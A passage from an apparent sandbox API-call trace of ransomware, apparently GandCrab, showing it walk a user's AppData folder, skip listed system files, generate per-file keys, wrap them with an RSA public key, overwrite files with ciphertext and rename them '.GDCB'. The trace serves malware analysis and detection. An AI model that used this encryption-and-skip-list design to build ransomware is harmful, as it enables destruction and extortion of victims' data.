lpString2="desktop.ini") returned 1 [0053.590] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.590] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.590] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.590] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.590] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.590] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.590] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.590] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.590] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.590] FindNextFileW (in: hFindFile=0x589220, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0053.590] FindClose (in: hFindFile=0x589220 | out: hFindFile=0x589220) returned 1 [0053.591] FindNextFileW (in: hFindFile=0x5891e0, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 0 [0053.591] FindClose (in: hFindFile=0x5891e0 | out: hFindFile=0x5891e0) returned 1 [0053.591] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0053.591] lstrcmpW (lpString1="imbMbOER.ppt", lpString2=".") returned 1 [0053.591] lstrcmpW (lpString1="imbMbOER.ppt", lpString2="..") returned 1 [0053.591] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="imbMbOER.ppt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt" [0053.591] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.591] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt") returned 50 [0053.591] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt") returned 50 [0053.591] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt") returned 50 [0053.591] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt") returned 50 [0053.591] lstrcmpiW (lpString1="imbMbOER.ppt", lpString2="desktop.ini") returned 1 [0053.591] lstrcmpiW (lpString1="imbMbOER.ppt", lpString2="autorun.inf") returned 1 [0053.591] lstrcmpiW (lpString1="imbMbOER.ppt", lpString2="ntuser.dat") returned -1 [0053.591] lstrcmpiW (lpString1="imbMbOER.ppt", lpString2="iconcache.db") returned 1 [0053.591] lstrcmpiW (lpString1="imbMbOER.ppt", lpString2="bootsect.bak") returned 1 [0053.591] lstrcmpiW (lpString1="imbMbOER.ppt", lpString2="boot.ini") returned 1 [0053.591] lstrcmpiW (lpString1="imbMbOER.ppt", lpString2="ntuser.dat.log") returned -1 [0053.591] lstrcmpiW (lpString1="imbMbOER.ppt", lpString2="thumbs.db") returned -1 [0053.591] lstrcmpiW (lpString1="imbMbOER.ppt", lpString2="GDCB-DECRYPT.txt") returned 1 [0053.591] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\imbmboer.ppt")) returned 0x20 [0053.591] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt", dwFileAttributes=0x20) returned 1 [0053.591] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0053.592] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt" [0053.592] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt.GDCB" [0053.592] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0053.592] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.592] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.592] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.593] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0053.593] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.593] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.593] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x5901b0) returned 1 [0053.593] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.593] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.593] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.594] CryptGenRandom (in: hProv=0x5901b0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0053.594] CryptReleaseContext (hProv=0x5901b0, dwFlags=0x0) returned 1 [0053.594] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.594] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0053.594] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0053.594] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0053.596] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x5895e0) returned 1 [0053.596] CryptGetKeyParam (in: hKey=0x5895e0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.596] CryptEncrypt (in: hKey=0x5895e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0053.597] GetLastError () returned 0x0 [0053.597] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.597] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0053.598] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x589660) returned 1 [0053.598] CryptGetKeyParam (in: hKey=0x589660, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.598] CryptEncrypt (in: hKey=0x589660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0053.599] GetLastError () returned 0x0 [0053.599] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.599] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\imbmboer.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0053.599] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0053.599] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0053.599] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x3b6e, lpOverlapped=0x0) returned 1 [0053.604] VirtualAlloc (lpAddress=0x0, dwSize=0x3b70, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.604] VirtualAlloc (lpAddress=0x0, dwSize=0x3b70, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0053.604] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.604] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=-15214, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.604] WriteFile (in: hFile=0x4f4, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x3b70, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0x3b70, lpOverlapped=0x0) returned 1 [0053.605] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.605] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.609] WriteFile (in: hFile=0x4f4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.609] WriteFile (in: hFile=0x4f4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.609] WriteFile (in: hFile=0x4f4, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0053.609] CloseHandle (hObject=0x4f4) returned 1 [0053.610] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.610] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.611] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.611] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\imbmboer.ppt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\imbmboer.ppt.gdcb")) returned 1 [0053.611] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.611] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.612] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0053.612] lstrcmpW (lpString1="ixwxy.png", lpString2=".") returned 1 [0053.612] lstrcmpW (lpString1="ixwxy.png", lpString2="..") returned 1 [0053.612] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="ixwxy.png" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png" [0053.612] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.612] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png") returned 47 [0053.612] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png") returned 47 [0053.612] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png") returned 47 [0053.612] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png") returned 47 [0053.612] lstrcmpiW (lpString1="ixwxy.png", lpString2="desktop.ini") returned 1 [0053.612] lstrcmpiW (lpString1="ixwxy.png", lpString2="autorun.inf") returned 1 [0053.612] lstrcmpiW (lpString1="ixwxy.png", lpString2="ntuser.dat") returned -1 [0053.612] lstrcmpiW (lpString1="ixwxy.png", lpString2="iconcache.db") returned 1 [0053.612] lstrcmpiW (lpString1="ixwxy.png", lpString2="bootsect.bak") returned 1 [0053.612] lstrcmpiW (lpString1="ixwxy.png", lpString2="boot.ini") returned 1 [0053.612] lstrcmpiW (lpString1="ixwxy.png", lpString2="ntuser.dat.log") returned -1 [0053.612] lstrcmpiW (lpString1="ixwxy.png", lpString2="thumbs.db") returned -1 [0053.612] lstrcmpiW (lpString1="ixwxy.png", lpString2="GDCB-DECRYPT.txt") returned 1 [0053.612] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\ixwxy.png")) returned 0x20 [0053.612] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png", dwFileAttributes=0x20) returned 1 [0053.612] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0053.613] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png" [0053.613] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png.GDCB" [0053.613] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0053.613] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.613] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.613] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.613] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0053.613] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.613] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.614] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58ff08) returned 1 [0053.614] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.614] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.614] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.614] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0053.614] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0053.614] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.614] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0053.615] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0053.615] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x5901b0) returned 1 [0053.617] CryptImportKey (in: hProv=0x5901b0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x5896a0) returned 1 [0053.617] CryptGetKeyParam (in: hKey=0x5896a0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.617] CryptEncrypt (in: hKey=0x5896a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0053.617] GetLastError () returned 0x0 [0053.617] CryptReleaseContext (hProv=0x5901b0, dwFlags=0x0) returned 1 [0053.617] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0053.619] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x5891e0) returned 1 [0053.619] CryptGetKeyParam (in: hKey=0x5891e0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.619] CryptEncrypt (in: hKey=0x5891e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0053.620] GetLastError () returned 0x0 [0053.620] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.620] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\ixwxy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0053.620] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0053.620] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0053.620] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x8e53, lpOverlapped=0x0) returned 1 [0053.625] VirtualAlloc (lpAddress=0x0, dwSize=0x8e60, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.626] VirtualAlloc (lpAddress=0x0, dwSize=0x8e60, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0053.626] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.626] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=-36435, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.626] WriteFile (in: hFile=0x4f4, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x8e60, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0x8e60, lpOverlapped=0x0) returned 1 [0053.627] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.627] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.630] WriteFile (in: hFile=0x4f4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.630] WriteFile (in: hFile=0x4f4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.630] WriteFile (in: hFile=0x4f4, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0053.630] CloseHandle (hObject=0x4f4) returned 1 [0053.631] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.631] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.632] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.632] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\ixwxy.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\ixwxy.png.gdcb")) returned 1 [0053.632] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.632] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.633] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0053.633] lstrcmpW (lpString1="jxoh-EFt2nW-t9X.wav", lpString2=".") returned 1 [0053.633] lstrcmpW (lpString1="jxoh-EFt2nW-t9X.wav", lpString2="..") returned 1 [0053.633] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="jxoh-EFt2nW-t9X.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav" [0053.633] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.633] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav") returned 57 [0053.633] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav") returned 57 [0053.633] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav") returned 57 [0053.633] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav") returned 57 [0053.633] lstrcmpiW (lpString1="jxoh-EFt2nW-t9X.wav", lpString2="desktop.ini") returned 1 [0053.633] lstrcmpiW (lpString1="jxoh-EFt2nW-t9X.wav", lpString2="autorun.inf") returned 1 [0053.633] lstrcmpiW (lpString1="jxoh-EFt2nW-t9X.wav", lpString2="ntuser.dat") returned -1 [0053.633] lstrcmpiW (lpString1="jxoh-EFt2nW-t9X.wav", lpString2="iconcache.db") returned 1 [0053.633] lstrcmpiW (lpString1="jxoh-EFt2nW-t9X.wav", lpString2="bootsect.bak") returned 1 [0053.633] lstrcmpiW (lpString1="jxoh-EFt2nW-t9X.wav", lpString2="boot.ini") returned 1 [0053.633] lstrcmpiW (lpString1="jxoh-EFt2nW-t9X.wav", lpString2="ntuser.dat.log") returned -1 [0053.633] lstrcmpiW (lpString1="jxoh-EFt2nW-t9X.wav", lpString2="thumbs.db") returned -1 [0053.633] lstrcmpiW (lpString1="jxoh-EFt2nW-t9X.wav", lpString2="GDCB-DECRYPT.txt") returned 1 [0053.633] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\jxoh-eft2nw-t9x.wav")) returned 0x20 [0053.633] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav", dwFileAttributes=0x20) returned 1 [0053.633] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0053.634] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav" [0053.634] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav.GDCB" [0053.634] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58ff08) returned 1 [0053.634] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.634] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.636] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.636] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0053.636] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0053.636] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.636] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0053.637] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.638] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.638] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.638] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0053.638] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.638] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.639] VirtualAlloc (lpAddress=0x0, 